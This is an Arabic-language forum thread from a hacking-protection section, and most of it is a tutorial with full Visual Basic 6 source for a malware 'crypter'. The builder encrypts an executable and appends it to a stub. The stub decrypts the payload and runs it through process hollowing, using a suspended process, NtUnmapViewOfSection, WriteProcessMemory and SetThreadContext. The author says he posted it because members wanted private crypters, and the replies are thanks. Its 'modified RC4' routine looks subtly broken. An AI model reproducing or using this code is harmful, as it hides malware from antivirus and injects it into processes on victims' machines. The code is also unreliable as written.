دخول
×

حسابٌ واحد لجميع خدماتنا !





إنشاء حساب
نقطة التطوير - dev-point.com







حماية الأجهزة لمعرفة طرق اختراق الأجهزة والبرامج والحيل المستخدمة في ذلك [ يُمنع طرح أدوات وبرامج الاختراق ] . . .


!  قم بقراءة قوانين الموقع قبل اضافة رد , اضغط هنا

LinkBack أدوات الموضوع انواع عرض الموضوع

  #1
*أحمد*
DeveloPer Plus
 
الصورة الرمزية *أحمد*
 
   تاريخ التسجيل: 29 - 10 - 2009
   رقم العضوية : 81710
   المشاركات : 608
   بمعدل : 0.34 يوميا
   عدد النقاط : 394


*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice

*أحمد* غير متواجد حالياً




Icon2 شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 01:53 PM بواسطة WEB



اولا اخواني اعضاء ومشفرين وادارين منتدى الديف بوينت اليوم حاب اشرح لكم عمل برنامج تشفير بالفيجوال

بيسك بالطريقه الصحيحه دون وجود اي خطاء بالبرنامج انا شفت شرح اخونا دكتور عدنان كان في خطا بالبرنامج

لما تختار الباتش وتعطيه امر تشفير يطلع لك خطاء ويقفل البرنامج لاكن بشرح لكم عمل البرنامج دون وجود

اي خطاء ( وسوف استعين بالصور لا اخوي دكتور عدنان

تابع معي

بسم الله اول شي نبدا بعمل البرنامج


لازم تحتاج لبرنامج VB6



(نسخه بروتبل بدون تنصيب )

حمله من هينا

http://www.multiupload.com/PZKI7HRFQO


نقوم بتشغيل الفيجوال بيسك 6 ومن ثم أتباع الأتي :




















طبعا نظيف الكود هذا

كود:
Private Sub Command1_Click()
With CommonDialog1
        .DialogTitle = "Select The file you Want to Protect"
        .Filter = "EXE Files |*.exe"
        .ShowOpen
End With

If Not CommonDialog1.FileName = vbNullString Then

Text1.Text = CommonDialog1.FileName

End If

End Sub

Private Sub Command2_Click()
Dim Stub As String

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

With CommonDialog1

        .DialogTitle = "Select Where you want to Save Crypted File"
        .Filter = "EXE Files |*.exe"
        .ShowSave

End With

Dim File As String

Open Text1.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close #1

File = RC4(File, "therefenge")

Open CommonDialog1.FileName For Binary As #1
Put #1, , Stub & "[Theref]" & File
Close #1

MsgBox "Succesfully Crypted", vbInformation

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Private Sub Command4_Click()
MsgBox "[ MATRIX ]" & vbNewLine & vbNewLine & "Dev-PoinT" & vbNewLine & "" & vbNewLine & "", vbInformation, Me.Caption
End Sub

Private Sub Form_Load()

End Sub
** لاحظ انو في شرح ابو عدنان اظاف موديل للبرنامج انا اقولك لا خلاص احفظ البرنامج كتالي







وبكذا خلصنا [ برنامج التشفير ] ~



2- برمجـة ستب برنامج التشفير

الأن نقوم بفتح الفيجوال بيسك مرة أخرى :











الكود :


Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long

lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function

lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function

Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Public Function StrToBytArray(ByVal sStr As String) As Byte()
Dim i As Long
Dim Buffer() As Byte
ReDim Buffer(Len(sStr) - 1)
For i = 1 To Len(sStr)
Buffer(i - 1) = Asc(Mid(sStr, i, 1))
Next i
StrToBytArray = Buffer
End Function

Public Function ThisExe() As String
Dim lRet As Long
Dim bvBuff(255) As Byte
lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function



ونظيف هذا الكود


Sub Main()

Dim SHIT As String

SHIT = App.Path & "\" & App.EXEName & ".exe"

Dim Data As String

Open SHIT For Binary As #1

Data = Space(LOF(1))
Get #1, , Data
Close #1

Dim Delimiter() As String

Delimiter() = Split(Data, "[Theref]")

Delimiter(1) = RC4(Delimiter(1), "therefenge")

Call Injec(SHIT, StrConv(Delimiter(1), vbFromUnicode), vbNullString)

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^

On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)

End Function
الان نحفظ الــ Stub



يجب تطبيق هذه الخطوات








وبكذا خلصنا برمجـة الستب ..

طبعاً لازم يكون أسم الستب هو

Stub

ويكون موجود بجنب برنامج التشفير



بكذا خلصنا العمل ..

( طبعا تقدر تطور الستاب كل ماطورته كل ما اعطاك منتوج افضل )

طبعا هالشرح اهداء الى الاخ

napster



لاتحرمونا من تقيممكم
  #2
ie
موقوف لمخالفة الشروط
 
   تاريخ التسجيل: 9 - 4 - 2010
   رقم العضوية : 92410
   المشاركات : 287
   بمعدل : 0.18 يوميا
   عدد النقاط : 269


ie is a jewel in the roughie is a jewel in the roughie is a jewel in the rough

ie غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:04 PM بواسطة WEB

يا سلام عليك يا اخي والله موضوع جد رائع
  #3
*أحمد*
DeveloPer Plus
 
الصورة الرمزية *أحمد*
 
   تاريخ التسجيل: 29 - 10 - 2009
   رقم العضوية : 81710
   المشاركات : 608
   بمعدل : 0.34 يوميا
   عدد النقاط : 394


*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice

*أحمد* غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:05 PM بواسطة WEB


المشاركة الأصلية كتبت بواسطة ie مشاهدة المشاركة

يا سلام عليك يا اخي والله موضوع جد رائع



وانت الاروع يابطل اهم شي قيمنا
  #4
الإيطــالي
VIP
 
الصورة الرمزية الإيطــالي
 
   تاريخ التسجيل: 26 - 12 - 2009
   رقم العضوية : 84816
   المشاركات : 2,560
   بمعدل : 1.50 يوميا
   نظام التشغيل : Mac OS
   عدد النقاط : 5680


الإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond reputeالإيطــالي has a reputation beyond repute

الإيطــالي غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:14 PM بواسطة WEB

.
.
يعطيك العآفيه مآ قصرت..~
وتستآهل التقييم إن آمكن .!
آحس مكآنه بقسم الفيجوآل
.
.
.
توقيع الإيطــالي

  #5
*أحمد*
DeveloPer Plus
 
الصورة الرمزية *أحمد*
 
   تاريخ التسجيل: 29 - 10 - 2009
   رقم العضوية : 81710
   المشاركات : 608
   بمعدل : 0.34 يوميا
   عدد النقاط : 394


*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice

*أحمد* غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:16 PM بواسطة WEB


المشاركة الأصلية كتبت بواسطة الإيطــالي مشاهدة المشاركة

.
.
يعطيك العآفيه مآ قصرت..~
وتستآهل التقييم إن آمكن .!
آحس مكآنه بقسم الفيجوآل
.
.
.


احس انه مكانه صح بالفيجوال بيسك لاكن لحظت كثرة طلبات الاعضاء على عمل برامج تشفير خاصه فقلت انزله هينا احسن وبعدين يبون ينقلونه ينقلونه
  #6
MASKOFZORRO
Developer
 
الصورة الرمزية MASKOFZORRO
 
   تاريخ التسجيل: 20 - 1 - 2008
   رقم العضوية : 46148
   المشاركات : 228
   بمعدل : 0.09 يوميا
   عدد النقاط : 14


MASKOFZORRO is on a distinguished road

MASKOFZORRO غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:24 PM بواسطة WEB

جزاك الله خير اخوي احمد على هذا الشرح الواضح
وكلي وين اروح اذا ابي اقيمك؟؟ تستاهل التقييم با بطل
  #7
عماد س
ExpErt DeveloPer
 
الصورة الرمزية عماد س
 
   تاريخ التسجيل: 14 - 4 - 2009
   رقم العضوية : 74875
   المشاركات : 2,823
   بمعدل : 1.44 يوميا
   عدد النقاط : 713


عماد س is a splendid one to beholdعماد س is a splendid one to beholdعماد س is a splendid one to beholdعماد س is a splendid one to beholdعماد س is a splendid one to beholdعماد س is a splendid one to beholdعماد س is a splendid one to behold

عماد س غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:27 PM بواسطة WEB

يعطيك الف عافية اخوى على الشرح
شكرااااا
  #8
*أحمد*
DeveloPer Plus
 
الصورة الرمزية *أحمد*
 
   تاريخ التسجيل: 29 - 10 - 2009
   رقم العضوية : 81710
   المشاركات : 608
   بمعدل : 0.34 يوميا
   عدد النقاط : 394


*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice

*أحمد* غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:40 PM بواسطة WEB


المشاركة الأصلية كتبت بواسطة عماد س مشاهدة المشاركة

يعطيك الف عافية اخوى على الشرح
شكرااااا




يعافي قلبك نورت يابطل
  #9
*أحمد*
DeveloPer Plus
 
الصورة الرمزية *أحمد*
 
   تاريخ التسجيل: 29 - 10 - 2009
   رقم العضوية : 81710
   المشاركات : 608
   بمعدل : 0.34 يوميا
   عدد النقاط : 394


*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice*أحمد* is just really nice

*أحمد* غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:41 PM بواسطة WEB


المشاركة الأصلية كتبت بواسطة maskofzorro مشاهدة المشاركة

جزاك الله خير اخوي احمد على هذا الشرح الواضح
وكلي وين اروح اذا ابي اقيمك؟؟ تستاهل التقييم با بطل



يكفيني مرورك وتشجيعك
  #10
lkhadra
Developer
 
الصورة الرمزية lkhadra
 
   تاريخ التسجيل: 26 - 12 - 2009
   رقم العضوية : 84421
   العمر : 4
   المشاركات : 159
   بمعدل : 0.09 يوميا
   عدد النقاط : 127


lkhadra will become famous soon enoughlkhadra will become famous soon enough

lkhadra غير متواجد حالياً




افتراضي رد: شرح عمل برنامج تشفير بالطريقه الصحيحه قديم اضيفت بتاريخ 19-Apr-2010, 02:43 PM بواسطة WEB

ماشاء الله موضوع رائع وجميل

الله يوفقك خو

مواقع النشر (المفضلة)


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is في
كود HTML معطلة
Trackbacks are في
Pingbacks are في
Refbacks are في



الساعة الآن 07:16 AM

Powered by Devpoint, Inc. community
Copyrights for vBulletin Inc.
Devpoint v3.0 preview - Build 1402.11

نظام الترقية - الحسابات الموثوقة - خصوصية الموقع - [ Dev-PoinT ] - الأعلى




SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179